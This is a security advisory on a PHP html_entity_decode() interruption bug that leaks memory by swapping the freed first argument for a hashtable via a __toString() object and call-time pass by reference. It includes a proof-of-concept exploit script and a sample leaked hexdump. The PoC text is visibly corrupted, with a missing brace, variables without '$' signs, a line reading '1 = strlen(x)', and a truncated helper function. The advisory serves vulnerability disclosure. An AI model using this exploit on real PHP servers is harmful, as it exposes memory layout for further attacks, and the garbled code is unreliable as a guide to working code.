# MOPS-2010-010: PHP html\_entity\_decode() Interruption Information Leak Vulnerability

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PHP's html\_entity\_decode() function can be abused for information leak attacks, because of the call time pass by reference feature.

### **Affected versions**

Affected is PHP  $5.2 \le 5.2.13$ Affected is PHP  $5.3 \le 5.3.2$ 

#### **Credits**

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

### **Detailed information**

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 (<u>SLIDES,PAPER</u>). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilities are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits exploits the html\_entity\_decode() function.

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The problem here is that zend\_parse\_parameters() retrieves the three arguments into local variables. The string pointers, lengths and integer parameters are therfore copied into local variables, loosing the connection to the original ZVAL. The problem is that string data is not inbound and any modification of the ZVALs will not be reflected in the local variables and therefore any interruption could just modify the ZVALs so that the local variables point to already freed and reused memory. And because zend\_parse\_parameters() supports the \_\_toString() method of objects the argument parsing can be easily interrupted by just passing an object as third parameter to html\_entity\_decode(). From the \_\_toString() method an attacker can then kill the first argument to html\_entity\_decode() due to the call time pass by reference feature of PHP and reuse it e.g. for a hashtable. This results in html\_entity\_decode() passing memory of a hashtable to php\_unescape\_html\_entities() instead of a string, which lets the attacker leak important internal memory offsets.

## Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

```
Hexdump
------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41 ......AAAA
00000010: 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00 .......
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00 .......
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00 ......tC0....
```

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

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```
<?php
class dummy
{
  function __toString()
    /* now the magic */
    return "";
  }
}
/* Detect 32 vs 64 bit */
i = 0x7fffffff;
$i++;
if (is_float($i)) {
  $GLOBALS['var'] = str_repeat("A", 39);
} else {
  $GLOBALS['var'] = str_repeat("A", 67);
}
/* Trigger the Code */
$x = html_entity_decode(&$GLOBALS['var'], 0, new dummy());
hexdump(\$x);
/* Helper function */
function hexdump(\$x)
  1 = strlen(x);
  p = 0;
  echo "Hexdump\n";
```

### **Notes**

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.

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